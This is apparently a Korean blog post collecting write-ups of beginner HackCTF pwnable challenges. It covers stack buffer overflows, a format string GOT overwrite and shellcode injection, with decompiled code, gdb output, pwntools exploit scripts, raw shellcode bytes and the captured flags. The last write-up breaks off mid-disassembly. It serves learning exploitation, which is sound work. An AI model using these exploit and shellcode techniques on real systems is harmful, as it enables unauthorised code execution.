func(sikk)

작년 스터디때부터 열심히 풀고 있었는데 사라져서 너무 아쉬운 HackCTF..!

맨땅에 헤딩하면서 포너블 공부 시작했던 워게임인데 아쉽네요:(

이거로 공부 시작해서 풀이는 많이 없습니다만 노션에 정리해뒀던거라도 올려두겠습니다..ㅎ

언젠가 다시 열렸으면 좋겠어요!

[문제]

[풀이]

• 2bit 바이너리
• 카나리 없음
• NX bit 존재
• PIE 없음

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+4h] [ebp-34h]@1
  int v5; // [esp+2Ch] [ebp-Ch]@1

  v5 = 0x4030201;
  fgets(&s, 45, stdin);
  printf("\\n[buf]: %s\\n", &s);
  printf("[check] %p\\n", v5);
  if ( v5 != 0x4030201 && v5 != 0xDEADBEEF )
    puts("\\nYou are on the right way!");
  if ( v5 == 0xDEADBEEF )
  {
    puts("Yeah dude! You win!\\nOpening your shell...");
    system("/bin/dash");
    puts("Shell closed! Bye.");
  }
  return 0;
}

• v5에 0x4030201의 값이 할당되어 있으나 이를 0xdeadbeef로 바꿔야 shell 획득 가능

gdb 분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x080484cb <+0>:	lea    ecx,[esp+0x4]
   0x080484cf <+4>:	and    esp,0xfffffff0
   0x080484d2 <+7>:	push   DWORD PTR [ecx-0x4]
   0x080484d5 <+10>:	push   ebp
   0x080484d6 <+11>:	mov    ebp,esp
   0x080484d8 <+13>:	push   ecx
   0x080484d9 <+14>:	sub    esp,0x34
   0x080484dc <+17>:	mov    DWORD PTR [ebp-0xc],0x4030201
   0x080484e3 <+24>:	mov    eax,ds:0x804a040
   0x080484e8 <+29>:	sub    esp,0x4
   0x080484eb <+32>:	push   eax
   0x080484ec <+33>:	push   0x2d
   0x080484ee <+35>:	lea    eax,[ebp-0x34]
   0x080484f1 <+38>:	push   eax
   0x080484f2 <+39>:	call   0x8048380 <fgets@plt>
   0x080484f7 <+44>:	add    esp,0x10
   0x080484fa <+47>:	sub    esp,0x8
   0x080484fd <+50>:	lea    eax,[ebp-0x34]
   0x08048500 <+53>:	push   eax
   0x08048501 <+54>:	push   0x8048610
   0x08048506 <+59>:	call   0x8048370 <printf@plt>
   0x0804850b <+64>:	add    esp,0x10
   0x0804850e <+67>:	sub    esp,0x8
   0x08048511 <+70>:	push   DWORD PTR [ebp-0xc]
   0x08048514 <+73>:	push   0x804861c
   0x08048519 <+78>:	call   0x8048370 <printf@plt>
   0x0804851e <+83>:	add    esp,0x10
   0x08048521 <+86>:	cmp    DWORD PTR [ebp-0xc],0x4030201
   0x08048528 <+93>:	je     0x8048543 <main+120>
   0x0804852a <+95>:	cmp    DWORD PTR [ebp-0xc],0xdeadbeef
   0x08048531 <+102>:	je     0x8048543 <main+120>
   0x08048533 <+104>:	sub    esp,0xc
   0x08048536 <+107>:	push   0x8048628
   0x0804853b <+112>:	call   0x8048390 <puts@plt>
   0x08048540 <+117>:	add    esp,0x10
   0x08048543 <+120>:	cmp    DWORD PTR [ebp-0xc],0xdeadbeef
   0x0804854a <+127>:	jne    0x804857c <main+177>
   0x0804854c <+129>:	sub    esp,0xc
   0x0804854f <+132>:	push   0x8048644
   0x08048554 <+137>:	call   0x8048390 <puts@plt>
   0x08048559 <+142>:	add    esp,0x10
   0x0804855c <+145>:	sub    esp,0xc
   0x0804855f <+148>:	push   0x804866e
   0x08048564 <+153>:	call   0x80483a0 <system@plt>
   0x08048569 <+158>:	add    esp,0x10
   0x0804856c <+161>:	sub    esp,0xc
   0x0804856f <+164>:	push   0x8048678
   0x08048574 <+169>:	call   0x8048390 <puts@plt>
   0x08048579 <+174>:	add    esp,0x10
   0x0804857c <+177>:	mov    eax,0x0
   0x08048581 <+182>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x08048584 <+185>:	leave  
   0x08048585 <+186>:	lea    esp,[ecx-0x4]
   0x08048588 <+189>:	ret    
End of assembler dump.

• main+44에 bp 걸어 임의의 입력값 할당

• 0xffffd184에 입력 값 저장됨

문제 해결

💡dummy(40) + 0xdeadbeef

Python2

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3000)

payload = "a"*40 + p32(0xdeadbeef)

p.sendline(payload)
p.interactive()

Python3

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3000)

payload = b"a"*40 + p32(0xdeadbeef)

p.sendline(payload)
p.interactive()

flag

🍒 HackCTF{f1r57_574ck_buff3r_0v3rfl0w_5ucc355}

[문제]

[풀이]

• 32bit 바이너리
• 카나리 없음
• NX bit 존재
• PIE 없음

바이너리 실행

• 단순히 사용자의 입력을 받음
• 입력 값 길이에 대한 변화 없음

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-8Ch]@1
  void (*v5)(void); // [esp+8Ch] [ebp-Ch]@1

  v5 = (void (*)(void))sup;
  fgets(&s, 133, stdin);
  v5();
  return 0;
}

• fgets 함수를 통해 사용자로부터 133byte만큼 입력 받음
• 입력 값에 대한 제약 없어 BOF 발생
• 이후 sup 함수 호출

IDA 분석 - sup 함수

int sup()
{
  return puts("하아아아아아아아아앙");
}

• 단순히 문자열 출력

IDA 분석 - shell 함수

int shell()
{
  return system("/bin/dash");
}

• /bin/dash shell 실행
• shell 함수 주소를 덮어쓰면 exploit 할 수 있을 것으로 보임

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x08048310  _init
0x08048350  fgets@plt
0x08048360  puts@plt
0x08048370  system@plt
0x08048380  __libc_start_main@plt
0x08048390  __gmon_start__@plt
0x080483a0  _start
0x080483d0  __x86.get_pc_thunk.bx
0x080483e0  deregister_tm_clones
0x08048410  register_tm_clones
0x08048450  __do_global_dtors_aux
0x08048470  frame_dummy
0x0804849b  shell
0x080484b4  sup
0x080484cd  main
0x08048520  __libc_csu_init
0x08048580  __libc_csu_fini
0x08048584  _fini

• main 주소: 0x80484cd
• sup 주소: 0x80484b4
• shell 주소: 0x804849b

gdb 분석 - 함수 주소

pwndbg> disass main
Dump of assembler code for function main:
   0x080484cd <+0>:	lea    ecx,[esp+0x4]
   0x080484d1 <+4>:	and    esp,0xfffffff0
   0x080484d4 <+7>:	push   DWORD PTR [ecx-0x4]
   0x080484d7 <+10>:	push   ebp
   0x080484d8 <+11>:	mov    ebp,esp
   0x080484da <+13>:	push   ecx
   0x080484db <+14>:	sub    esp,0x94
   0x080484e1 <+20>:	mov    DWORD PTR [ebp-0xc],0x80484b4
   0x080484e8 <+27>:	mov    eax,ds:0x804a040
   0x080484ed <+32>:	sub    esp,0x4
   0x080484f0 <+35>:	push   eax
   0x080484f1 <+36>:	push   0x85
   0x080484f6 <+41>:	lea    eax,[ebp-0x8c]
   0x080484fc <+47>:	push   eax
   0x080484fd <+48>:	call   0x8048350 <fgets@plt>
   0x08048502 <+53>:	add    esp,0x10
   0x08048505 <+56>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048508 <+59>:	call   eax
   0x0804850a <+61>:	mov    eax,0x0
   0x0804850f <+66>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x08048512 <+69>:	leave  
   0x08048513 <+70>:	lea    esp,[ecx-0x4]
   0x08048516 <+73>:	ret    
End of assembler dump.

• main+53에 bp 걸어 임의의 입력 값 입력

• 0xffffcfbc에 입력 값 저장

• 0xffffd03c에서 sup 함수 발견 → 해당 주소를 shell 함수 주소로 덮어씌우면 exploit 할 수 있을 것!
• 입력값~sup 함수가 저장된 0xffffd03c까지의 offset = 40

문제 해결

💡dummy(128) + 0x804849b

Python2

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3001)
e=ELF('./bof_basic2')

payload = "a"*128 + p32(e.symbols["shell"])
#payload = "a"*128 + p32(0x804849b)

p.sendline(payload)
p.interactive()

Python3

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3001)
e=ELF('./bof_basic2')

payload = b"a"*128 + p32(e.symbols["shell"])
#payload = "a"*128 + p32(0x804849b)

p.sendline(payload)
p.interactive()

flag

🍒 HackCTF{h3y_dud3_600d_f0r_y0u}

[문제]

[풀이]

• 32bit 바이너리
• 카나리 없음
• NX bit 존재
• PIE 없음

바이너리 실행

• 단순히 사용자의 입력을 받아 그대로 출력
• 입력 값 길이에 대한 변화 없음

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  vuln();
  return 0;
}

• 단순히 vuln 함수 호출

IDA 분석 - vuln 함수

int vuln()
{
  char s; // [esp+0h] [ebp-808h]@1
  char format; // [esp+400h] [ebp-408h]@1

  printf("input : ");
  fgets(&s, 1024, stdin);
  snprintf(&format, 0x400u, &s);
  return printf(&format);
}

• fgets 함수로 사용자에게 1024바이트 만큼 입력 받음
• snprintf(&format, 0x400u, &s); → format에 입력값 복사, 그러나 서식 지정자 없이 사용하고 있어 FSB 취약점 발생

💡 snprintf 함수
변수에 문자열을 넣어줌으로서 정해진 바이트수를 변수로 출력해줌
char *f로 선언된 변수 안에 입력된 내용이 문자열로써 담김.
BOF를 막기 위해 문자열의 길이를 지정하는 좀 더 안전한 함수

• return printf(&format); → 포맷 스트링이 없어 FSB 취약점 발생

IDA 분석 - flag 함수

int flag()
{
  puts("EN)you have successfully modified the value :)");
  puts("KR)#값조작 #성공적 #플래그 #FSB :)");
  return system("/bin/sh");
}

• /bin/sh shell 실행

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x08048398  _init
0x080483d0  printf@plt
0x080483e0  fgets@plt
0x080483f0  puts@plt
0x08048400  system@plt
0x08048410  __libc_start_main@plt
0x08048420  setvbuf@plt
0x08048430  snprintf@plt
0x08048440  __gmon_start__@plt
0x08048450  _start
0x08048480  __x86.get_pc_thunk.bx
0x08048490  deregister_tm_clones
0x080484c0  register_tm_clones
0x08048500  __do_global_dtors_aux
0x08048520  frame_dummy
0x0804854b  vuln
0x080485b4  flag
0x080485ed  main
0x08048630  __libc_csu_init
0x08048690  __libc_csu_fini
0x08048694  _fini

• main 주소: 0x080485ed
• vuln 주소: 0x0804854b
• flag 주소: 0x080485b4
• printf@got 주소: 0x080483d0
• snprintf@got 주소: 0x08048430

취약점

💡 vuln함수의 snprintf와 printf 함수에서 FSB 취약점 발생
- snprintf()를 통해서 다음에 실행할 printf()를 flag()로 실행하기 위해 printf()의 got를 flag()로 덮어씌우면 printf()대신에 flag() 실행

• 입력 값의 offset이 2번째 위치임을 알 수 있음

문제 해결

💡aaaaaaaa . 0 . 61616161
    printf@got . flag 함수 주소 . %n
   의 순서로 매칭해야 함

Python2

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3002)
e=ELF('./basic_fsb')

payload = p32(e.got['printf']) +"%134514096c%n"
payload = p32(0x804a00c) +"%134514096c%n"

print(p.recvuntil(": "))
p.sendline(payload)
p.interactive()

Python3

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3002)
e=ELF('./basic_fsb')

payload = p32(e.got['printf']) +b"%134514096c%n"
#payload = p32(0x804a00c) +b"%134514096c%n"

print(p.recvuntil(": "))
p.sendline(payload)
p.interactive()

flag

🍒 HackCTF{여보게_오늘_반찬은_포맷스트링이_어떠한가?}

[문제]

[풀이]

• 32bit 바이너리
• 카나리 없음
• NX bit 없음
• PIE 없음

바이너리 실행

• 사용자로부터 Name과 input을 입력 받음
• input의 길이에 따라 Segmentation fault 발생(BOF)

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+0h] [ebp-14h]@1

  setvbuf(stdout, 0, 2, 0);
  printf("Name : ");
  read(0, &name, 50);
  printf("input : ");
  gets(&s);
  return 0;
}

• read 함수로 50바이트 만큼 Name 입력 받고 있음
• gets 함수로 input 입력을 받고 있음 → 길이 검증을 하지 않아 BOF 취약점 발생
• shell을 실행할 수 있는 어떠한 것도 주어지지 않음 → shellcode 삽입 필요

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x08048330  _init
0x08048370  read@plt
0x08048380  printf@plt
0x08048390  gets@plt
0x080483a0  __libc_start_main@plt
0x080483b0  setvbuf@plt
0x080483c0  __gmon_start__@plt
0x080483d0  _start
0x08048400  __x86.get_pc_thunk.bx
0x08048410  deregister_tm_clones
0x08048440  register_tm_clones
0x08048480  __do_global_dtors_aux
0x080484a0  frame_dummy
0x080484cb  main
0x08048530  __libc_csu_init
0x08048590  __libc_csu_fini
0x08048594  _fini

• main 주소: 0x080484cb

gdb 분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x080484cb <+0>:	push   ebp
   0x080484cc <+1>:	mov    ebp,esp
   0x080484ce <+3>:	sub    esp,0x14
   0x080484d1 <+6>:	mov    eax,ds:0x804a040
   0x080484d6 <+11>:	push   0x0
   0x080484d8 <+13>:	push   0x2
   0x080484da <+15>:	push   0x0
   0x080484dc <+17>:	push   eax
   0x080484dd <+18>:	call   0x80483b0 <setvbuf@plt>
   0x080484e2 <+23>:	add    esp,0x10
   0x080484e5 <+26>:	push   0x80485b0
   0x080484ea <+31>:	call   0x8048380 <printf@plt>
   0x080484ef <+36>:	add    esp,0x4
   0x080484f2 <+39>:	push   0x32
   0x080484f4 <+41>:	push   0x804a060
   0x080484f9 <+46>:	push   0x0
   0x080484fb <+48>:	call   0x8048370 <read@plt>
   0x08048500 <+53>:	add    esp,0xc
   0x08048503 <+56>:	push   0x80485b8
   0x08048508 <+61>:	call   0x8048380 <printf@plt>
   0x0804850d <+66>:	add    esp,0x4
   0x08048510 <+69>:	lea    eax,[ebp-0x14]
   0x08048513 <+72>:	push   eax
   0x08048514 <+73>:	call   0x8048390 <gets@plt>
   0x08048519 <+78>:	add    esp,0x4
   0x0804851c <+81>:	mov    eax,0x0
   0x08048521 <+86>:	leave  
   0x08048522 <+87>:	ret    
End of assembler dump.

• main+53에 bp 걸어 Name에 임의의 입력 값 입력

• 0x804a060에 Name 저장

• name은 전역변수로 선언됨
• main+78에 bp 걸어 input에 임의의 입력 값 입력

• 0xffffd044에 입력 값 저장

• 0xffffd05c에서 __libc_start_main+241 발견
• 입력값~0xffffd05c까지의 offset = 24

문제 해결

💡Name: shellcode(최대 50byte)
     input: dummy(24byte)
     ret: Name_Address(0x804a060)

Python2 - 직접 shellcode 가져와 진행

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3003)
e=ELF('./prob1')

payload = "\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80"
payload += "A"*25
payload += "B"*24
payload += p32(e.symbols['name'])

p.sendline(payload)
p.interactive()

Python2 - shellcraft

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3003)
e=ELF('./prob1')

shell = asm(shellcraft.sh())
payload = shell.ljust(50, "A")
payload += "B"*24
payload += p32(e.symbols['name'])

p.sendline(payload)
p.interactive()

Python3 - 직접 shellcode 가져와 진행

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3003)
e=ELF('./prob1')

payload = b"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80"
payload += b"A"*25
payload += b"B"*24
payload += p32(e.symbols['name'])

p.sendline(payload)
p.interactive(

Python3 - shellcraft

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3003)
e=ELF('./prob1')

shell = asm(shellcraft.sh())
payload = shell.ljust(50, b"A")
payload += b"B"*24
payload += p32(e.symbols['name'])

p.sendline(payload)
p.interactive()

flag

🍒 HackCTF{1_l0v3_70p_pwn3r_m4lhyuk}

[문제]

[풀이]

• 64bit 바이너리
• 카나리 없음
• NX bit 존재
• PIE 없음

바이너리 실행

• 사용자로부터 입력받아 Hello 문자열 뒤에 덧붙여 출력

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+10h] [rbp-110h]@1
  int v5; // [rsp+11Ch] [rbp-4h]@1

  _isoc99_scanf("%s", &s, envp);
  v5 = strlen(&s);
  printf("Hello %s\\n", &s);
  return 0;
}

• scanf 함수로 사용자의 입력을 받고 있으나 바이트 수가 지정되어 있지 않음 → BOF 취약점 발생

IDA 분석 - callMeMaybe 함수

int callMeMaybe()
{
  char *path; // [rsp+0h] [rbp-20h]@1
  const char *v2; // [rsp+8h] [rbp-18h]@1
  __int64 v3; // [rsp+10h] [rbp-10h]@1

  path = "/bin/bash";
  v2 = "-p";
  v3 = 0LL;
  return execve("/bin/bash", &path, 0LL);
}

• /bin/bash shell 실행
• 해당 함수의 주소를 ret 부분에 덮어쓰면 exploit 될 것으로 보임

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x00000000004004b0  _init
0x00000000004004e0  strlen@plt
0x00000000004004e8  printf@plt
0x00000000004004f0  __libc_start_main@plt
0x00000000004004f8  execve@plt
0x0000000000400500  __gmon_start__@plt
0x0000000000400508  __isoc99_scanf@plt
0x0000000000400510  _start
0x0000000000400540  deregister_tm_clones
0x0000000000400580  register_tm_clones
0x00000000004005c0  __do_global_dtors_aux
0x00000000004005e0  frame_dummy
0x0000000000400606  callMeMaybe
0x0000000000400641  main
0x00000000004006b0  __libc_csu_init
0x0000000000400720  __libc_csu_fini
0x0000000000400724  _fini

• main 주소: 0x0000000000400641
• callMeMaybe 주소: 0x0000000000400606

gdb 분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x0000000000400641 <+0>:	push   rbp
   0x0000000000400642 <+1>:	mov    rbp,rsp
   0x0000000000400645 <+4>:	sub    rsp,0x120
   0x000000000040064c <+11>:	mov    DWORD PTR [rbp-0x114],edi
   0x0000000000400652 <+17>:	mov    QWORD PTR [rbp-0x120],rsi
   0x0000000000400659 <+24>:	lea    rax,[rbp-0x110]
   0x0000000000400660 <+31>:	mov    rsi,rax
   0x0000000000400663 <+34>:	mov    edi,0x400741
   0x0000000000400668 <+39>:	mov    eax,0x0
   0x000000000040066d <+44>:	call   0x400508 <__isoc99_scanf@plt>
   0x0000000000400672 <+49>:	lea    rax,[rbp-0x110]
   0x0000000000400679 <+56>:	mov    rdi,rax
   0x000000000040067c <+59>:	call   0x4004e0 <strlen@plt>
   0x0000000000400681 <+64>:	mov    DWORD PTR [rbp-0x4],eax
   0x0000000000400684 <+67>:	lea    rax,[rbp-0x110]
   0x000000000040068b <+74>:	mov    rsi,rax
   0x000000000040068e <+77>:	mov    edi,0x400744
   0x0000000000400693 <+82>:	mov    eax,0x0
   0x0000000000400698 <+87>:	call   0x4004e8 <printf@plt>
   0x000000000040069d <+92>:	mov    eax,0x0
   0x00000000004006a2 <+97>:	leave  
   0x00000000004006a3 <+98>:	ret    
End of assembler dump.

• 사용자의 입력은 $rbp-0x110에 저장
• ret까지의 offset은 buffer+sfp+ret으로 0x118일 것으로 예상(컴파일 환경에 따라 dummy가 추가될 수 있어 확실하지 않음)
• main+49에 bp 걸어 임의의 입력 값 입력

• 사용자의 입력은 0x7fffffffdd50에 저장

• 0x7fffffffde60에서 __libc_start_main+231 확인
• 사용자의 입력~0x7fffffffde60까지의 offset = 280(0x118)

문제 해결

💡dummy(280) + callMeMaybe_Address(0x0000000000400606)

Python2

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3004)
e=ELF('./64bof_basic')

payload = "a"*280 + p64(e.symbols['callMeMaybe'])

p.sendline(payload)
p.interactive()

Python3 - 직접 shellcode 가져와 진행

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3004)
e=ELF('./64bof_basic')

payload = b"a"*280 + p64(e.symbols['callMeMaybe'])

p.sendline(payload)
p.interactive()

flag

🍒 HackCTF{64b17_b0f_15_51mpl3_700}

[문제]

[풀이]

• 64bit 바이너리
• 카나리 없음
• NX bit 없음
• PIE 없음

바이너리 실행

• 사용자로부터 입력받음
• 실행할 때마다 다른 buf 주소 출력 → ASLR이 걸려있음

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-6D30h]@1

  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts("삐빅- 자살방지 문제입니다.");
  printf("buf: %p\\n", &v4);
  gets(&v4);
  return 0;
}

• gets 함수로 사용자의 입력을 받고 있으나 바이트 수가 지정되어 있지 않음 → BOF 취약점 발생
• shell을 실행할 수 있는 부분이 주어지지 않아 shellcode 삽입이 필요할 것으로 생각됨

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x00000000004004b0  _init
0x00000000004004e0  puts@plt
0x00000000004004f0  printf@plt
0x0000000000400500  __libc_start_main@plt
0x0000000000400510  gets@plt
0x0000000000400520  setvbuf@plt
0x0000000000400530  __gmon_start__@plt
0x0000000000400540  _start
0x0000000000400570  deregister_tm_clones
0x00000000004005b0  register_tm_clones
0x00000000004005f0  __do_global_dtors_aux
0x0000000000400610  frame_dummy
0x0000000000400636  main
0x00000000004006a0  __libc_csu_init
0x0000000000400710  __libc_csu_fini
0x0000000000400714  _fini

• main 주소: 0x0000000000400636

gdb 분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x0000000000400636 <+0>:	push   rbp
   0x0000000000400637 <+1>:	mov    rbp,rsp
   0x000000000040063a <+4>:	sub    rsp,0x6d30
   0x0000000000400641 <+11>:	mov    rax,QWORD PTR [rip+0x200a08]        # 0x601050 <stdout@@GLIBC_2.2.5>
   0x0000000000400648 <+18>:	mov    ecx,0x0
   0x000000000040064d <+23>:	mov    edx,0x2
   0x0000000000400652 <+28>:	mov    esi,0x0
   0x0000000000400657 <+33>:	mov    rdi,rax
   0x000000000040065a <+36>:	call   0x400520 <setvbuf@plt>
   0x000000000040065f <+41>:	mov    edi,0x400728
   0x0000000000400664 <+46>:	call   0x4004e0 <puts@plt>
   0x0000000000400669 <+51>:	lea    rax,[rbp-0x6d30]
   0x0000000000400670 <+58>:	mov    rsi,rax
   0x0000000000400673 <+61>:	mov    edi,0x40074e
   0x0000000000400678 <+66>:	mov    eax,0x0
   0x000000000040067d <+71>:	call   0x4004f0 <printf@plt>
   0x0000000000400682 <+76>:	lea    rax,[rbp-0x6d30]
   0x0000000000400689 <+83>:	mov    rdi,rax
   0x000000000040068c <+86>:	mov    eax,0x0
   0x0000000000400691 <+91>:	call   0x400510 <gets@plt>
   0x0000000000400696 <+96>:	mov    eax,0x0
   0x000000000040069b <+101>:	leave  
   0x000000000040069c <+102>:	ret    
End of assembler dump.

• 사용자의 입력은 $rbp-0x6d30에 저장
• ret까지의 offset은 buffer+sfp+ret으로 0x6d38일 것으로 예상(컴파일 환경에 따라 dummy가 추가될 수 있어 확실하지 않음)

• main+96에 bp 걸어 임의의 입력 값 입력

• 사용자의 입력은 0x7fffffff7120에 저장

• 0x7fffffffde58에서 __libc_start_main+231 확인
• 사용자의 입력~0x7fffffffde58까지의 offset = 27960(0x6d38)

문제 해결

💡dummy(280) + callMeMaybe_Address(0x0000000000400606)

Python2 - Shellcraft 이용

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3005)

p.recvuntil(": ")
buf = int(p.recv(14), 16)

context(arch='amd64', os='linux')
shellcode = asm(shellcraft.amd64.linux.sh())
payload = shellcode.ljust(27960, "A")
payload += p64(buf)

p.sendline(payload)
p.interactive()

Python3 - Shellcraft 이용

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3005)

p.recvuntil(": ")
buf = int(p.recv(14), 16)

context(arch='amd64', os='linux')
shellcode = asm(shellcraft.amd64.linux.sh())
payload = shellcode.ljust(27960, b"A")
payload += p64(buf)

p.sendline(payload)
p.interactive()

flag

🍒 HackCTF{s000000_5m4ll_4nd_5m4ll_51z3_b0f}

[문제]

[풀이]

• 32bit 바이너리
• 카나리 없음
• NX bit 없음
• PIE 없음

바이너리 실행

• 사용자로부터 Data 입력받음
• 같은 실행에서 Again할 경우 같은 주소를 반환하지만, 바이너리를 반복 실행하면 다른 buf 주소 출력 → ASLR이 걸려있음

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // ebx@9
  char v5; // [esp+13h] [ebp-89h]@1
  char s[128]; // [esp+14h] [ebp-88h]@2
  signed __int32 i; // [esp+94h] [ebp-8h]@3

  setvbuf(stdout, 0, 2, 0);
  v5 = 121;
  do
  {
    printf("Data : ");
    if ( __isoc99_scanf(" %[^\\n]s", s) ) //사용자는 Data 입력하도록 함
    {
      for ( i = 0; ; ++i )
      {
        v3 = i;
        if ( v3 >= strlen(s) )
          break; //종료
        if ( !(i & 15) ) 
          printf("%p: ", &s[i]);
        printf(" %c", (unsigned __int8)s[i]);
        if ( i % 16 == 15 )
          putchar(10);
      }
    }
    printf("\\nAgain (y/n): ");
  }
  while ( __isoc99_scanf(" %c", &v5) && (v5 == 121 || v5 == 89) );
  return 0;
}

• scanf 함수로 사용자의 입력을 받고 있음. buffer의 크기가 128바이트로 지정되어 있지만 입력 값에 대한 길이 검증을 수행하지 않음→ BOF 취약점 발생
• 입력 값을 16바이트만큼 1줄로 나타냄
• shell을 실행할 수 있는 부분이 주어지지 않아 shellcode 삽입이 필요할 것으로 생각됨

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x08048380  _init
0x080483c0  printf@plt
0x080483d0  __gmon_start__@plt
0x080483e0  strlen@plt
0x080483f0  __libc_start_main@plt
0x08048400  setvbuf@plt
0x08048410  putchar@plt
0x08048420  __isoc99_scanf@plt
0x08048430  _start
0x08048460  __x86.get_pc_thunk.bx
0x08048470  deregister_tm_clones
0x080484a0  register_tm_clones
0x080484e0  __do_global_dtors_aux
0x08048500  frame_dummy
0x0804852d  main
0x08048670  __libc_csu_init
0x080486e0  __libc_csu_fini
0x080486e4  _fini

• main 주소: 0x0804852d

gdb 분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x0804852d <+0>:	  push   ebp
   0x0804852e <+1>:	  mov    ebp,esp
   0x08048530 <+3>:	  push   ebx
   0x08048531 <+4>:	  sub    esp,0x98
   0x08048537 <+10>:	mov    eax,ds:0x804a040
   0x0804853c <+15>:	mov    DWORD PTR [esp+0xc],0x0
   0x08048544 <+23>:	mov    DWORD PTR [esp+0x8],0x2
   0x0804854c <+31>:	mov    DWORD PTR [esp+0x4],0x0
   0x08048554 <+39>:	mov    DWORD PTR [esp],eax
   0x08048557 <+42>:	call   0x8048400 <setvbuf@plt>
   0x0804855c <+47>:	mov    BYTE PTR [ebp-0x89],0x79
   0x08048563 <+54>:	mov    DWORD PTR [esp],0x8048700
   0x0804856a <+61>:	call   0x80483c0 <printf@plt>
   0x0804856f <+66>:	lea    eax,[ebp-0x88]
   0x08048575 <+72>:	mov    DWORD PTR [esp+0x4],eax
   0x08048579 <+76>:	mov    DWORD PTR [esp],0x8048708
   0x08048580 <+83>:	call   0x8048420 <__isoc99_scanf@plt>
   0x08048585 <+88>:	test   eax,eax
   0x08048587 <+90>:	je     0x804861b <main+238>
   0x0804858d <+96>:	mov    DWORD PTR [ebp-0x8],0x0
   0x08048594 <+103>:	jmp    0x8048602 <main+213>
   0x08048596 <+105>:	mov    eax,DWORD PTR [ebp-0x8]
   0x08048599 <+108>:	and    eax,0xf
   0x0804859c <+111>:	test   eax,eax
   0x0804859e <+113>:	jne    0x80485bb <main+142>
   0x080485a0 <+115>:	lea    edx,[ebp-0x88]
   0x080485a6 <+121>:	mov    eax,DWORD PTR [ebp-0x8]
   0x080485a9 <+124>:	add    eax,edx
   0x080485ab <+126>:	mov    DWORD PTR [esp+0x4],eax
   0x080485af <+130>:	mov    DWORD PTR [esp],0x8048710
   0x080485b6 <+137>:	call   0x80483c0 <printf@plt>
   0x080485bb <+142>:	lea    edx,[ebp-0x88]
   0x080485c1 <+148>:	mov    eax,DWORD PTR [ebp-0x8]
   0x080485c4 <+151>:	add    eax,edx
   0x080485c6 <+153>:	movzx  eax,BYTE PTR [eax]
   0x080485c9 <+156>:	movsx  eax,al
   0x080485cc <+159>:	movzx  eax,al
   0x080485cf <+162>:	mov    DWORD PTR [esp+0x4],eax
   0x080485d3 <+166>:	mov    DWORD PTR [esp],0x8048715
   0x080485da <+173>:	call   0x80483c0 <printf@plt>
   0x080485df <+178>:	mov    eax,DWORD PTR [ebp-0x8]
   0x080485e2 <+181>:	cdq    
   0x080485e3 <+182>:	shr    edx,0x1c
   0x080485e6 <+185>:	add    eax,edx
   0x080485e8 <+187>:	and    eax,0xf
   0x080485eb <+190>:	sub    eax,edx
   0x080485ed <+192>:	cmp    eax,0xf
   0x080485f0 <+195>:	jne    0x80485fe <main+209>
   0x080485f2 <+197>:	mov    DWORD PTR [esp],0xa
   0x080485f9 <+204>:	call   0x8048410 <putchar@plt>
   0x080485fe <+209>:	add    DWORD PTR [ebp-0x8],0x1
   0x08048602 <+213>:	mov    ebx,DWORD PTR [ebp-0x8]
   0x08048605 <+216>:	lea    eax,[ebp-0x88]
   0x0804860b <+222>:	mov    DWORD PTR [esp],eax
   0x0804860e <+225>:	call   0x80483e0 <strlen@plt>
   0x08048613 <+230>:	cmp    ebx,eax
   0x08048615 <+232>:	jb     0x8048596 <main+105>
   0x0804861b <+238>:	mov    DWORD PTR [esp],0x8048719
   0x08048622 <+245>:	call   0x80483c0 <printf@plt>
   0x08048627 <+250>:	lea    eax,[ebp-0x89]
   0x0804862d <+256>:	mov    DWORD PTR [esp+0x4],eax
   0x08048631 <+260>:	mov    DWORD PTR [esp],0x8048715
   0x08048638 <+267>:	call   0x8048420 <__isoc99_scanf@plt>
